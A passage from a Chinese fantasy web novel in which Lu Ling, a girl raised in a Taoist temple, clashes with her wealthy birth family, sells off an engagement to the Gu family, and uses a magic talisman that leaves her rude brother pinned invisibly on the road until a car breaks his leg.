果然是个乡下人,连到别人家不能随便乱走的规矩都没有。 裴父冷着脸上了楼。 他没敲门,而是直接推门进去。 鹿翎翘起二郎腿,见到有人进来,也没有丝毫抬头看的意思。 “这就是你在鹿家学的规矩?”裴父开口,视线瞄向她手上的一本小册子,微微眯了眯眼,突然向鹿翎道歉,“今天的事,是我们的问题。” 鹿翎有些惊讶。 没想到裴父竟然还给她道歉了。 在得知自己的亲生女儿鹿翎从小生活在贫困山村后,尤其是她还在一个废弃道观长大后,他便做了一系列打算。 裴家的血脉不能流落在外,他也不忍心自己的亲生女儿继续在外流浪,并且还是在道观流浪。 道观在他们的认知里,可不是什么好地方。 歪门邪道。 鹿翎翘着二郎腿,手臂搭在纤细笔直的腿,支起下巴,眉眼微微挑起,“为什么要给我道歉。” 裴父规避这个问题:“我已经说过张婶和裴管家了,房间的事,过几天给你装修房间,你想要几楼的?” 见裴父不接话,鹿翎耸耸肩,“随便,反正我不要保姆房和杂物间。” 裴父笑了笑,“等会吃饭就下来了。” 说完,他转身离开书房。 而在他转身的一瞬间,他的脸色就变了。 可以说是,变脸比翻书都快。 在裴父转身后,鹿翎挑着的眉眼也渐渐舒展,逐渐归为平静,最后是一潭死水。 鹿翎好歹也是从道观出来的人,她怎么看不出来裴父的算计。 她只是不明白,裴家为什么要把她接回来。 晚饭时间,饭桌上气氛沉闷至极。 鹿翎从楼上边看手机边下来。 裴家所有人坐在餐桌上等他。 裴耀阳从鹿翎回来后,就一直看不惯鹿翎。 只要看到她一点不对,他就要开始怼鹿翎,阴阳怪气:“走路看手机,小心摔死。” 这话说出,裴家人都没有觉得不对。 因为他们都看不惯鹿翎。 只要不是特别过分的事,他们不会管。 鹿翎看了他一眼,“你吃了屎吗?嘴巴怎么这么臭。” 这话一出,在场所有人都皱起眉头。 裴昊然摔筷子:“谁叫你这么说话?” 鹿翎面无表情:“他能说我,我就不能说他?” 裴昊然冷笑一声:“耀阳只是在提醒你不要走路看手机,好赖话都听不出来。” 鹿翎的脸色依旧是没什么表情:“我也在提醒他刷刷牙,不然满嘴口臭来熏人,让人感到恶心。” 裴父打圆场:“好了好了,张婶,上菜,准备吃饭了。” 当家人都没说什么,他们这些小辈也不好再说什么。 场面尬尴极了。 鹿翎找了个离他们最远的位置坐下。 佣人开始陆陆续续上菜。 菜上齐后,气氛才好起来,一家人说说笑笑,除了被自己边缘化的鹿翎。 裴昊然突然想起什么,他抬头,看向坐在自己对面的裴泽宇,问:“现在都七月份了,你的录取通知书还没下来吗?” 裴泽宇咽下嘴里最后一口菜,回:“应该还有几天,我问了我同学,我们两个一起报得京大,他的都还没到,那我的也一样。” 裴耀阳闻言,视线突然看向角落的鹿翎,眼神亮了亮,“喂。” 这一声喂,吸引全家人的视线。 鹿翎咬着一块排骨,低垂脑袋,认认真真地啃着,神色漫不经心,连眼皮都没抬一下。 裴昊然刚想发火,裴父一记眼神看过来。 他忍下火气,冷着脸说:“鹿翎,弟弟在喊你。” 鹿翎坐姿实在是不好看,吃饭依旧翘起二郎腿,一只手拿着筷子,另一只手的胳膊撑在桌面上。 似乎是现在才听见声音,鹿翎抬了抬眼眸,有些疑惑:“他在喊我?” 她笑了笑:“不好意思,我还以为是哪个没有家教在喊‘喂’。” “你!”裴耀阳啪的一下站起来,“你说谁没教养?!” “说你呢。”鹿翎放下筷子,双手抱臂,神色挺不耐烦,“怎么,你有口臭,耳朵也出问题了?” 裴耀阳脸色通红,被裴泽宇拉了拉胳膊,让他坐下。 杨丽华拧眉,刚想开口说话,裴父先开口:“阿翎,弟弟是关心你,他想问你大学报的是什么学校。” 裴耀阳嗤笑一声:“谁想问她,一个乡下长大的人,能报什么大学,大专都考不上吧。” 鹿翎扯了张纸,擦了擦嘴,什么也没说,上了楼。 见状,这还能说什么,肯定是没考上大学。 不然这么一句话都不说。 裴父盯着鹿翎背影,不知道在想什么。 楼上,鹿翎走进王婶给她收拾好的房间。 从包里掏出一份还没开封的东西。 她现在才想起自己的录取通知书。 第7章:来顾家退婚 拆开一看。 嗯。 还行。 还算个好学校。 鹿翎把录取通知书重新塞回背包,又拿出拿一叠婚书。 现在最重要的事就是退婚,第一个退婚对象有眉目了,不过是裴淼淼的未婚夫,还是个霸道总裁。 按照里面的霸总,肯定还有自恋倾向,这件事不能让他本人知道。 后面四个,鹿翎试着打开它们,却发现除了顾景深那本婚书,其余的都打不开。 鹿翎疑惑,一手拿婚书,一手拿电话,给师父打电话过去。 却发现打不通。 本来想用传音符,但想了想,一件小事,不必浪费传音符。 打算明天一早就去顾家把婚给退了。 —— 第二天一早。 鹿翎没吃饭,正准备走时,遇上要出去上班的裴父和裴昊然。 见鹿翎准备出门,杨丽华给裴父整理领带,裴父问:“阿翎,准备去哪,需不需要我让司机送你?” 鹿翎弯腰换鞋:“真想送我,就不会来问了。” 杨丽华皱眉:“你怎么跟爸爸说话的?” 鹿翎没回答,穿好鞋,离开裴家。 杨丽华盯着鹿翎的背影,差点没气过背去。 裴父连忙顺气安慰杨丽华。 —— 裴家别墅区在市中心,但鹿翎并不知道顾家在哪,两眼一闭,单手掐诀,准确无误算出顾家别墅的位置。 顾家别墅并不是和裴家别墅在一块,而是在郊外。 那里也有一处很大的别墅区。 鹿翎算出,那处的别墅区比裴家所处的别墅大上一倍。 鹿翎身上也没多少钱,打算用疾行符过去。 她左看右看,看周围没什么人,才准备拿出疾行符。 刚拿出疾行符,她就听到不远处传来一些声音。 声音很模糊,依稀只能听见一些“血光之灾”“必有大难”“买符破解”之类的话。 鹿翎皱皱眉,收起符咒,探出头看。 发现距离自己大概五十米有个地方在摆摊,旁边还立着张帆,鹿翎眼神好,一眼就看出上面写着“算卦”两个大字。 在摊前还坐着位男人。 看腿长,目测身高应该有一米八几左右。 鹿翎凑过去看。 “小兄弟,我也不坑你,这张保命符八百八十八,给你打个折,六百六十六,你看怎么样?”支摊的是位留着山羊胡的老头,嘴角下还有颗长毛的须。 看起来贼眉鼠眼的。 而坐在对面的男人,皮肤如瓷如玉,五官精美近乎妖孽,但脸色不太好,看起来有些苍白,病怏怏的。 老头视线看向站在旁边的鹿翎,眼睛顿时笑成一条缝,“小姑娘,你也来算命吗?你等一下哈,等这个小弟弟把符买了先。” “这符确定有用?”男人开口。 声音轻灵悦耳。 老头拍拍胸脯,自信道:“那当然,这一带,就我算命最厉害。” 男人思考一番,正要拿出手机付钱时,手腕突然被抓住。 他错愕地转头看出去。 先看见的是一张精致绝美的侧脸,视线缓缓下移到葱白的手指上。 这一下拦截,老头原本笑嘻嘻的脸一下子僵在原地。 “你这符确定有用?”鹿翎抢过男人的手机,熄灭屏幕,倒扣在桌面上,皮笑肉不笑地盯着老头:“你敢对你家祖坟发誓,你没有骗人。” 老头支支吾吾不敢说话。 鹿翎露出一副果然如此的表情。 男人也用疑惑的眼神把老头看着。 老头梗着脖子,把鹿翎和男人赶走:“爱买不买,别挡着我做生意。” 两人被老头推搡走了。 鹿翎也不稀罕在他这里买,拉上一米八几的男人走了。 到看不见老头的地方,鹿翎才把男人的手放开,语重心长道:“像这种在路边摆摊的,大多数都是骗人的,你要算命就要去那种正规的道观里面算,那种道观不会收你这么多钱。” 男人虽然很困惑,但还是点点头。 鹿翎能看出这男人不是坏人。 面对这种被骗的傻小子,能出手帮一把就是一把。 鹿翎叮嘱几句后,就走了。 只留下男人一个人看着她的背影。 大概等鹿翎走远三分钟后,一辆劳斯莱斯加长版朝这边开了过来。 车门自动打开,男人跨坐进去。 —— 顾家别墅是在郊外,并不是在城里的别墅区。 “夫人,门口来了位少女,说是来找先生和您的,手上还拿着一个东西。” “少女?多大年纪,不会是景深养在外面的金丝雀,怀上孩子,被景深甩了,找我们要名分来的吧?”这话听起来刻薄,放在豪门圈却正常得很。 “应该不会,我看那小姑娘小腹平坦,不像是怀孕的样子。” “哦?我倒是不信。” 高达两米的大门缓缓打开,打扮贵气的美妇人站在台阶处傲然睥睨地看着她,目光扫过鹿翎五官精致,但略显陌生的脸时,微微一愣。 这个金丝雀,她没见过啊。 应该是顾景深的妈。 旁边那位应该就是顾家的佣人。 鹿翎收回视线,语气淡淡:“顾...” 话还没说完,顾夫人开口,语气和她儿子一样的高高在上,只能说不是一家人不进一家门。 “是来找我们要名分的?那你还是赶快走吧,你这种只能养在外面,可当不起顾家少奶奶。”顾夫人摆摆手,说完就要离开。 鹿翎皱眉。 怎么顾家人都莫名其妙的。 “顾夫人,我觉得你还是听我说完,不然到时候闹得大家都不好看。” 闻言,顾夫人抬腿动作一顿,她慢慢转过去,眼睛眯起,“你在威胁我?” “说不上威胁,只是这件事于我而言确实很重要。”鹿翎坦坦荡荡。 顾夫人还没嫁人前,也算是小家碧玉,自然能听出这件事不仅对她,对顾家也是相对来说比较重要的。 她对旁边的佣人低声耳语几句,离开大门。 佣人将鹿翎带回顾家。 在客厅坐了大概十来分钟。 说实话,要不是因为这件事对自己很重要。 三分钟她都不愿意等。 就在鹿翎越来越不耐烦的时候,顾夫人终于从楼上下来。 依旧是高高在上的态度,佣人给她倒了茶,顾夫人喝了一口,“你有什么事吗?” 鹿翎也不废话多说,把红本子发出来摆在桌面上。 顾夫人定睛一瞧,上面两个大字不是婚书还是什么? 顾夫人疑惑:“这是什么意思?” 上面的字映入顾夫人的眼帘。 订婚人: 女方:鹿翎 男方:顾景深 第8章:拿钱羞怒?正好 看着桌子上,印有自己儿子名字的红本本。 顾夫人明显呆愣在原地,指着婚书,不可置信道:“这...这是什么?这上面为什么有我儿子的名字,还有,鹿翎是谁?这是什么东西?” 鹿翎把封面摆在正面,待她看清楚后,又拿起来,对上顾夫人的眼睛,指上面的名字,十分真诚道:“顾夫人,看清楚了吗?这上面两个字叫婚书,需要我一个一个字教你读吗?” 顾夫人脸黑如锅底,一把把鹿翎推开,翻个白眼:“我又不是瞎子,还有鹿翎是谁?” 她视线上下打量鹿翎全身,明晃晃地审视,现在才反应过来,恍然大悟,声音尖厉,差点蹦起来:“你就是鹿翎?!!” 鹿翎点点头:“正是鄙人。” “那你拿出这个东西是什么意思?想要我们履行婚约?”女佣给她倒了杯茶,她端起来,喝了一口,冷冷看了鹿翎一眼,嗤笑一声,“谁知道这本东西是真是假。” 说完,眼神嫌恶地看了桌子上的东西一眼。 鹿翎眨了眨眼睛,指着上面印有印章的地方,“顾夫人是眼睛出问题了吗?上面印章是你们家的吧?” 顾夫人凑过去看,果然发现,顾景深名字旁边有一个红印章,看样子确实是他们顾家的印章。 但她不确定,这件事还需要得到验证。 她轻咳一声,起身,走向楼上。 鹿翎也不着急,就默默等着。 她知道顾夫人是去验证去了。 楼上,书房。 顾夫人打开保险箱,在里面翻出顾家印章,打开一看,瞳孔一缩。 果然,那本东西上的印章确实是顾家的。 看样子那门婚书是真的。 顾夫人心中乱作一团。 她儿子不能娶这么个人,虽然模样比她所见过的名媛千金好看百倍,但她儿子要娶的人是对他,对顾家有用的。 娶个花瓶来干什么? 摆着好看吗? 不行,绝对不行。 顾夫人把东西重新放进保险箱,整理好情绪,下了楼。 鹿翎翘起二郎腿,再玩手机。 看到这幕,顾夫人皱皱眉。 坐没坐相。 顾夫人坐回来,位置离鹿翎远了些,神情比刚才更冷漠了些,“我不会同意这门婚事,就算你拿出婚书,也毫无意义。” what? 鹿翎想掏掏耳朵,怀疑自己是不是自己听错了。 她往一边侧了侧,左手搭在椅背上,神情挺漠然看着对面的人,“你,再说一遍?” 鹿翎笑了笑,非常有礼貌地询问。 顾夫人却注意到,她那双眼睛又寒又冷,并没有半分笑意。 顾夫人眉头微蹙,若有所思的,略带迟疑。 想着,这花瓶还能有这种眼神? 转瞬间,女生就收回目光,微垂着头。 顾夫人看着眼前的少女,继续说道:“我看你只有十九、二十岁,这个年纪也知道顾家在江州是个什么样的地位,我儿子将来是要当总裁的人,而你这是个普通人,甚至以后要来我们旗下的分公司上班的打工族其中之一而已。” 顾夫人放慢声音,见鹿翎没开口,她以为对方听进去了,不由多说几句。 鹿翎没看她,右手又一下没一下敲着手机边缘。 有些懒散地靠着椅背,扬了扬眉:“你继续。” “你现在考虑的不是继续这场婚事,而是要仔细考虑一下,能够获得怎样的补偿,你觉得我这个提议如何?”顾夫人从抽屉里拿出一叠还没写数字的支票,在上面洋洋洒洒写了数字,推到鹿翎面前。 “这里有一百万,这是我对你的补偿。” 一百万,对一个小年轻来说,已经是一笔天文数字了。 鹿翎看着茶几上那一百万支票,垂着眼眸。 顾夫人重新拿起茶杯,喝了一口,见鹿翎盯着支票看,不屑的眼神再次出现,“这是支票,可以去银行兑换现金。” 鹿翎就笑。 挺漫不经心的。 还真当自己是个没见过世面的人? 连支票都不认识? 鹿翎抬头,把支票推回来。 顾夫人挺意外的,后又皱皱眉。 这是嫌少? “不好意思,不接受支票。”鹿翎拿起桌上的笔,在支票上留下一串数字,摆在顾夫人面前,“这是我的银行卡号,麻烦打到我的银行卡上,谢谢,对了,还要补充一下,写一个给自愿赠予就行,谢谢。” 顾夫人舒展眉头,露出果然如此的表情。 她拿出手机,按照鹿翎给的银行卡号打去一百万。 鹿翎也不犹豫,见钱到账,立马就走。 临走前,顾夫人警告:“这个叫什么鹿翎的,钱已经收了,以后再也不许来顾家,也不许对外说你和景深曾经是未婚夫妻。” 鹿翎脚步没停,语气讥讽:“当你们顾家儿媳妇是倒了八辈子血霉了,我就算出门被撞死,也不多在你们顾家多待一秒钟。” 这番话,着实让顾夫人姣好的面容气的扭曲。 出了顾家别墅,解决完这种事,再加上她还得到了一笔高额“分手费”,心情自然美滋滋。 看待路边的野花野草,都和颜悦色了许多。 她在手机上打了个车,准备回裴家。 市区别墅区不让外车进入,只能停在离大门口五十米方向。 付完钱下车,她眼色一瞟,看见大门口走出来的一行人,看身形,很像裴家那三小子裴耀阳。 鹿翎本来想装作什么看不见,可某些人偏偏爱在她面前秀存在感。 “喂,那个鹿翎,你过来。”裴耀阳早就看见鹿翎,现在不是在家,在外面更好收拾这个欺负姐姐的乡巴佬。 鹿翎没理他,径直从他身边走过去。 “喂,我在跟你说话,你耳聋没听见吗?”裴耀阳脸色铁青。 裴耀阳作为裴家最小的儿子,从小到大就备受宠爱,在这短短的两天,他在这从乡下接回来的姐姐身上,不知道吃了多少亏。 说着,他就要上前拉住鹿翎的胳膊。 鹿翎向来不喜欢被外人触碰,一律到了恶心的地步。 鹿翎皱眉,错身避过,从兜里夹出两张符纸,正要反手“啪”的一下拍在对方背上,又偷偷摸摸伸出一只腿。 “砰”的一声,裴耀阳摔倒在地,整个人和大地来个亲密接触。 裴耀阳因为疼痛,表情变得格外扭曲。 鹿翎居高临下地看着他:“不想好好说话,就趴在这反省反省吧。” 裴耀阳仰起头,双手撑地想要站起来,却发现自己怎么都动不。 第9章:隐身伏地消音符 裴耀阳心里虽然不解,但还是尝试一次。 第二次不能起来... 第三次也不行... 他的脸色从疑惑到震惊,最后是恐惧。 为什么? 为什么他不能起来了? 看管别墅大门的保安走出来,裴耀阳眼前一亮,朝保安大吼道:“喂。那个保安,快过来扶我一把。” 更让他感到恐惧的是,那个保安并没有理他。 甚至连头都没有朝他这边偏一下。 为什么? 这是为什么? 走进大门的鹿翎清清楚楚看到这一幕,她唇角微微一勾。 这张符名为隐身伏地消音符。 为什么有两个名字。 因为这是隐身符、伏地符和消音符的结合体。 伏地符还是被鹿翎改良过的。 伏地伏地,肯定是要进入地下的。 但被鹿翎改良过的伏地符不用进入地下,而是就趴在地上。 伏地符最开始版本可以持续一到两个小时,改良后的可以延迟三到四小时。 再加上隐身符和消音符的加持。 直接让裴耀阳消失在这三四个小时。 到了时间,这几张符咒的效果就会消失。 既然嘴巴这么臭,这么没有礼貌。 那就趴在地上,好好晒晒太阳,驱散身上的污秽吧。 鹿翎回到裴家,裴家只有裴泽宇在家里待着。 杨丽华应该是出去了。 他原本来在客厅玩手机,应该开麦在和他朋友打游戏,还是打到最激烈的地方。 整个裴家回响着他的声音。 不过在看见鹿翎进门后的一瞬间,声音消失了。 紧接着传来他朋友吵架的声音。 应该是团战打输了,正在和队友骂架。 裴泽宇脸上没什么表情,但皱起的眉头能看出他现在很不爽,在鹿翎走过身边时,他小声说了句:“扫把星吧,一回来就输了,真无语。” 鹿翎停下脚步,侧头看他,和他手机屏幕上显示的战绩。 负战绩。 呵。 鹿翎不加掩饰地嘲笑道:“人不行不要怪路不平,你这战绩,我撒把米下去,鸡都比你会玩,你能打成这个战绩,完全是你们裴家烧高香了,废物一个。” 这番话,顿时让裴泽宇脸色铁青。 原本的骂街声,在鹿翎的嘲讽后停住,虽然激烈的骂声传来。 这次却不是互相骂。 而是剩余的几人在骂裴泽宇。 鹿翎挑眉:“我还以为队友不骂你,是心底善良,没想到还是骂上你了。” 说完,她转身就走。 踏上楼底的时候,她停下脚步,“哎,废物就是废物。” 裴泽宇脸色一阵青一阵白,听着话筒里传来的叫骂声,直接扬起手,用力一甩。 手机磕上茶几,顿时四分五裂。 听见声音,裴管家立马从里面出来,看见裴泽宇胸腹剧烈起伏,眼神死死盯着鹿翎上楼的身影。 —— 楼上,鹿翎把其余婚书拿出来,正准备随便打开其中一份,发现还是打不开。 鹿翎:“???” 这是为什么? 为什么打不开。 鹿翎试着打开另外几份。 也是如此。 搞什么? 鹿翎有些无语,拿出手机打出电话。 没接。 鹿翎在心里默默骂了句。 退出电话界面,打开许久没登上去的微信,在里面找到未明子的聊天框,点开红包,在里面塞了两百块进去,发送。 发出去不过一秒钟的时间,红包立马就收了。 鹿翎:“.......” 下一秒,鹿翎拨电话过去。 这下,他不接也得接。 “喂,小五啊,有事吗?”未明子笑嘻嘻的开口,脸色因为收了红包,也有了笑容。 鹿翎摄像头开启,对准摆在地上的四份婚书,光听语气,就知道她脸色极为不好,“为什么其余的婚书我打不开。” 手机那头的未明子摸了摸山羊胡,疑惑道:“我怎么知道,这是你的婚书,又不是我的。” 鹿翎面无表情:“你们给我定下的婚约,现在我要退婚了,婚书都打不开,你要我怎么退婚?” 未明子嘟囔道:“关我屁事啊,这婚约又不是我定的。” 说完,生怕鹿翎生气,他又补充道:“你也能看出来,这婚书新得很,都没人打开过,我是真没办法啊。” 鹿翎沉默一阵,后又幽幽开口:“不给我想出办法,你手机里面的钱可不保。” “你你你!你在威胁我?”未明子气地吹胡子瞪眼。 鹿翎冷笑出声:“你知道我有这个本事。” 场面沉默,陷入死寂。 未明子最终还是没有扭过他的钱包,他叹口气:“行行行,我再给你算一卦,算不出来就不是我的事了。” 鹿翎没说话,挂断电话。 大概过了三分钟,未明子发来一张图片。 【图片.JPG】 紧接着是一段语音。 鹿翎点击转文字。 【没算出来啊,你还不信,现在信了吧,给你说了几次了。】 鹿翎沉默看着手机上的文字,最终什么都没说。 没过一会,楼下传来汽车引擎声。 不用想,裴夫人杨丽华回来了。 又过了三五分钟。 传来上楼的声音,三秒钟后,鹿翎房间的门被打开,杨丽华站在门口,脸色铁青,手上拿着被摔坏的手机,裴泽宇跟在身后,一脸幸灾乐祸。 杨丽华把手机丢到鹿翎面前:“这是你摔坏的?” 鹿翎依旧沉默着看着手机。 被鹿翎无视,杨丽华只觉得胸腔怒火翻涌,她快步上前,直接将鹿翎的手机给扔了出去,“我在跟你说话,你没听见吗?” 鹿翎似乎现在才缓过神,她看着被摔到地上的手机,眼底出现一抹冷意,“捡起来。” 杨丽华一愣,没反应过来。 裴泽宇可不忘这个拱火时刻,他上前一步,站在杨丽华面前,一脸正气:“鹿翎,就算你不认妈是你的亲生母亲,但她也是个长辈,你让一个长辈给你捡手机,算什么?” 鹿翎看了他一眼,眼神中充满了不屑:“我还以为是谁呢,原来是人不行怪路不平的废物裴泽宇。” 她双手抱臂,无情嘲笑:“怎么,发现自己太过废物,就让你亲妈出场?” “我再说一遍,捡起来。”说到最后,鹿翎的语气陡然变冷,隐约带着些许压迫感。 两人有些被吓住,不自觉后退一步。 裴泽宇梗起脖子,刚想说什么,鹿翎突然摔了桌子上的茶杯。 茶杯在裴泽宇和杨丽华脚下突然炸裂,两人又被吓了一跳。 裴泽宇最终还是没有顶住压力,给鹿翎把手机捡起来。 杨丽华刚想说什么,手机突然响起,接通电话后,脸色突然一变,“什么?!耀阳进医院了?” 第10章:裴耀阳进医院了 挂断电话后,她连忙拉上裴泽宇,“快走,你弟弟进医院了。” 鹿翎一看时间,看来时间已经到了。 杨丽华带上裴泽宇,走到一半发现鹿翎没动。 她铁青着脸色,转头看鹿翎,“你还愣在原地干什么?你弟弟进医院了,还不快和我们一起去医院。” 鹿翎想了想,点了点头,跟杨丽华和裴泽宇一起去往医院。 本来鹿翎是不想凑这个热闹的,但仔细思考一番。 隐身伏地消音符不会导致被使用者出现意外,现在七月份,不会是因为太阳过大。 再加上是躺在地上,被人误以为是中暑,才送进医院的吧? 但想想也不可能。 那地方刚好有颗大树,为裴耀阳挡住大半阳光,那他是怎么进医院的。 这点,鹿翎很好奇。 鹿翎走到最后,杨丽华和裴泽宇上车,也没等鹿翎,直接让司机开车走了。 她招来裴管家让他亲自送自己过去。 裴管家暗地撇撇嘴,接触到鹿翎的视线后,还是乖乖给鹿翎当司机去了。 四十分钟后,两辆车同时到达医院。 杨丽华这个贵妇平时注重形象得很,听到自己宝贝儿子进医院后,急急忙忙跑进去。 裴泽宇也是三步并作两步。 鹿翎慢悠悠走到后面,她在身后默默算了一卦。 走到门诊,卦象出来了。 恍然大悟。 原来如此。 裴耀阳还是挺可怜的。 鹿翎嘴角缓缓勾起一抹弧度。 跟随两人步伐,他们来到了手术室门口。 没错,就是手术室。 鹿翎刚到,白大褂从手术间出来,手上还拿着知情同意书。 依稀能听见白大褂再说什么“看情况是被汽车碾过去造成的骨折”“......” 其余的,鹿翎就不打算听了。 杨丽华签完同意书后,坐在冰冷长椅上,目光死死地看着手术室大门,仿佛要把钢门盯出个洞来。 裴耀阳在手术间门口来回走,因为手机被他自己摔坏了,所以拿的是备用机,给裴家人打电话。 走廊尽头,一道蓝白相间出现。 是裴淼淼。 “你怎么来了?”裴泽宇打完电话,一个转身,便看见朝这边走来的裴淼淼,连忙小跑过去,扶住她,“你现在身体还很虚弱,不好好在病房待着,出来干什么?” 裴淼淼苍白着脸,摇摇头:“我刚刚在窗外看风景,看见姐姐了,我以为是来看望我的,结果发现不是,所以我来看看。” 她视线略过裴泽宇,视线转移到手术室,脸色越发苍白:“出什么事了。” 裴泽宇抿唇:“耀阳骨折了。” 闻言,裴淼淼眼眶一红,惊讶地捂住嘴。 她看向坐在长椅上,发愣的杨丽华,走到她身边,开始安慰伤心的母亲:“放心的妈妈,弟弟会没事的。” 大概过了一个小时,手术室上的红灯消失,变成了绿色。 钢门打开,听见声音,杨丽华擦干眼泪,立马迎上去:“医生,我儿子怎么样了?” 裴泽宇和裴淼淼立马迎上去。 白大褂摘下沾血的口罩,“没什么大问题了,等麻药劲过了,他就会醒来。” 杨丽华松口气。 而正好,裴父和裴昊然得到消息,急冲冲从公司赶了出来。 主心骨来了,杨丽华眼眶又红了,扑到裴父怀里呜呜哭了起来。 裴父皱眉,先是看了眼站在角落,一直玩手机的鹿翎。 等杨丽华情绪安稳后,他才问道:“到底发生了什么事。” 杨丽华擦擦眼泪,摇了摇头:“不清楚,等我接到电话,人已经到医院里。” 裴昊然开口:“那是谁打的电话?” 杨丽华:“是别墅区门口的保安。” 裴父没说话,拿出手机,拨通电话出去。 这时,病床推了出来。 一行人把裴耀阳推进了病房,浩浩荡荡跟着去了。 鹿翎慢吞吞跟在身后,正低头玩手机,觉察到有人在看自己,她抬头,发现裴昊然目光灼灼地把自己盯着。 “你最好不要耍什么花招。”他冷冰冰地说了这么无厘头的话后,转身就走,一点也不给鹿翎思考时间。 鹿翎翻个白眼,用他能听见的语气骂了句:“sb,关我什么事。” 裴昊然脚步一顿,随后转过头,目光阴沉,面容铁青的看了一眼鹿翎。 鹿翎用口型回答裴昊然。 这次是鹿翎不给他机会,说完就走。 裴昊然还没反应过来,鹿翎说的是什么。 等他反应过来的时候,鹿翎已经走远。 裴昊然脸色从铁青变为黑如锅底,追了上去。 却发现鹿翎不见了踪影。 回想起刚刚鹿翎说过的话,他眉头狠狠拧起:“果然是没有教养,连这种话都说得出口!” 这边病房。 裴耀阳被推回病房,裴家一行人围坐在病床前。 裴父打完电话后,脸色有些沉,“保安说他是在别墅门口看见耀阳躺在地上,抱着腿在哀嚎,不知道是什么出现在门口的。” 他问众人:“你们谁从外面回来过?” 杨丽华坐在病床前,擦了擦泛红的眼角,开口道:“我刚从美容院回来,并没有看见耀阳站在门口。” 裴父皱皱眉,环视一圈,没看见他想看见的身影。 裴昊然也从外面进来。 裴父问:“你妹妹呢?” “鹿翎?”裴昊然皱眉,似乎是想起她刚刚对自己说过的话,眉头蹙得更紧了。 他冷笑一声:“不知道死哪去了。” 听到这话的大家也觉得很合适。 裴父皱眉,没多说什么。 —— 鹿翎离开医院,打车回了裴家。 没有裴家那群人,别墅内空气都好闻了。 鹿翎呼吸新鲜空气,张婶听见声音,还以为是夫人他们回来了,脸上洋溢起笑容,走到门口,弯下腰,正要给鹿翎拿拖鞋。 结果低头看见,不是夫人的大脚丫子后,她有些懵逼了。 心想:夫人怎么没穿高跟鞋啊。 但还是没有多说什么,直到头顶传来戏谑的声音:“张婶,没想到你还挺喜欢伺候人的。” 一听声音,张婶还没反应过来,她缓慢地抬起头,看见鹿翎似笑非笑的脸后,她大叫一声,跌倒在地。 鹿翎不满地啧了一声,“张婶,你这是作甚,现在就只有我们两个,还装什么。” 张婶撑着胳膊爬起来,冲鹿翎脚下吐了口唾沫:“乡巴佬,扫把星,一回来家里就接二连三出事。” 鹿翎原本还似笑非笑的脸,在看见张婶身后的东西,她脸色逐渐变得平静,甚至带上杀意。 觉察到鹿翎的脸色变化,张婶下意识地后退一步,结巴开口:“你...你干什么?” 鹿翎连眼神都没给她,径直离开客厅,上了两楼。 第11章:上不得台面的饭 盯着鹿翎离开的背影,疑惑得很:“这是发什么神经。” 这边,医院。 裴耀阳麻药醒来后,开始鬼哭狼嚎,看向杨丽华的视线带着些许怨恨,说出来的话自然不会好听:“你来看我干什么?看我有没有被你碾死吗?” 这话一出,在场人都明显愣住。 尤其是杨丽华,她瞪着那双红彤彤的眼睛,眼神充满不解:“耀阳,你在说什么啊,什么你被碾死?” 裴耀阳把上午发生的事,全盘托出。 接连着把他在门口遇见鹿翎的事,也一字不差的说出来。 五个小时前。 裴耀阳发现自己喊谁都不答应,从大声唾骂,到细声辱骂,最后是毫无生气的躺在地上。 嘴唇已经干裂起皮,生无可恋,像极了破布娃娃。 突然,他眼色一瞟,突然看见不远处一道熟悉的车牌号。 那是他妈杨丽华的车。 巨大欣喜让他忘记别人听不到自己声音的事实,冲着朝这边的汽车大喊:“妈!妈!是我,我是耀阳,下车来看看我啊!快来救我!” 回应他的是汽车轰鸣声。 “妈!妈!快停车!快停车!” “啊啊啊!” 裴耀阳惊恐地瞪大双眼,眼睁睁看见汽车从自己身上碾压过去。 幸好,没有从他腹部碾过去,而是从右腿上压过去。 司机丝毫没有意识到自己压住人了,他特意后退一步,又从裴耀阳腿上压了一次。 最开始的剧烈痛疼让裴耀阳痛得说不出话来,第二次的碾压,让裴耀阳两眼一翻,直接晕了过去。 司机开车离开,半小时后。 隐身伏地消音符效果消失,保安从亭子里出来倒水,突然看见不远处地面上,躺着个人。 走近一看,顿时吓得后退一步。 地上还流着一滩血,那人的右小腿上,骨头突破血肉,扎穿了皮肤,血淋淋的,看起来吓人极了。 从腿移动到脸上,保安才惊觉这人怎么和裴家三少爷长得这么相似。 结果,裴耀阳睁开眼,因为几个小时未动,他的四肢僵硬得很,嗓子也两个小时没有喝水,干得很,说的话沙哑不堪:“我是裴家三少...裴耀阳...快...快打电话...送我去医院...” 说完,两眼一黑,便晕了过去。 自报家门,保安立马打电话给医院,在救护车来了后,司机这才反应过来,还要给裴夫人打电话。 裴夫人得到消息后,就急匆匆赶往医院。 后面就是等待手术过程。 才有了现在这一幕。 “妈妈不知道啊,妈妈什么都不知道。”杨丽华站起来身,捂嘴,不自觉地后退一步。 裴昊然捕捉到重点:“你是说,你在遇见鹿翎后,才会那么诡异地躺在地上一动不动。” “可是,哪有那么邪门的事。”裴淼淼有点不太相信。 虽然她不太喜欢这个姐姐,但面对这种时间,她还是相信科学。 一番话,引起在场人的沉默。 而站在一边,一直没开口说话的裴泽宇主动开口:“她不是从小在道观长大的吗?万一就是在道观里面学习的什么符咒之类的东西。” 这番话,成功引起所有人的注意。 裴父皱眉:“你在胡说什么,你妹妹是正经人,能干那种歪门邪道的事吗?” 裴耀阳用被扎针的手狠狠捶打床板,眼眶猩红。 一个原因是被气的,另一个原因是痛的。 麻药劲儿消失,整条腿痛得要死:“就是遇见她,我运气才不好的,要不是因为她,我也不会无缘无故躺在大马路上,被妈的汽车压过去。” 他眼神中充满了狠劲。 仿佛要把鹿翎生吞活剥一般。 裴父思考着没说话。 准备晚上回去问她。 杨丽华虽然不懂歪门邪道,但只要涉及她裴家人,她一致对外。 杨丽华脸色铁青,刚想拿出手机,打电话质问鹿翎,但被裴父拦住,“今天晚上回家再好好问她也不迟。” “好好问她?她根本就不会跟我们好好说话,怕是一心偏袒她的养父养母吧。”裴昊然冷笑一声。 一想起,鹿翎临走前,对自己说的话,他气得牙痒痒,恨不得把她赶出裴家。 “要不是因为她身上流有裴家血脉,怕是现在都还在山沟沟里。”裴耀阳脸色苍白,表情扭曲。 他长这么大,就没在别人身上吃过一次亏。 现在竟然在一个乡巴佬身上,栽过这么多的跟头。 裴父没说话,看向窗外。 —— 晚上八点半。 鹿翎一个人坐在餐桌上吃饭,旁边张婶一脸幽怨。 裴家一行人回来见鹿翎一个人坐在餐桌上吃饭,脸色纷纷一变。 尤其是裴昊然,他脸色在几人中最难看,“鹿翎,你这十几年的教养被狗吃了吗?现在连饭都不等我们一起吃了。” 